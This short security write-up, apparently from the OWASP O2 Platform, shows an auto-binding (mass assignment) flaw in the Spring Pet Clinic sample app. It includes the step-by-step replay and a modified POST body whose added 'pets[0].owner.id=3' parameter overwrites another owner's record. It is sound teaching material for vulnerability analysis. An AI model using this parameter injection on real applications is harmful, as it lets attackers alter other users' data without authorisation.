Auto-Binding on EditOwner.do

Draft explanation:

Install a clean copy of pet clinic on Tomcat.
Use Firefox + LiveHttpHeaders or similar
List the owners.
Select owner 2 (Betty Davis).
Click edit.
Make a trivial change.
Click edit again.
Use LiveHttpHeaders replay to replay the previous edit but modify the POST body
from:
firstName=Betty&lastName=Davis&address=638+Cardinal+Ave&city=Sun+Prairie&telephone=6085551749

to:
firstName=Betty&lastName=Davis&address=638+Cardinal+Ave&city=Sun+Prairie&telephone=6085551749&pets[0].owner.id=3

The upshot is that you end up over-writing owner 3 with Betty Davis's info even
though the URL that the POST goes to is:
http://localhost:8080/petclinic/editOwner.do?ownerId=2

go back to the main OWASP O2 Platform page
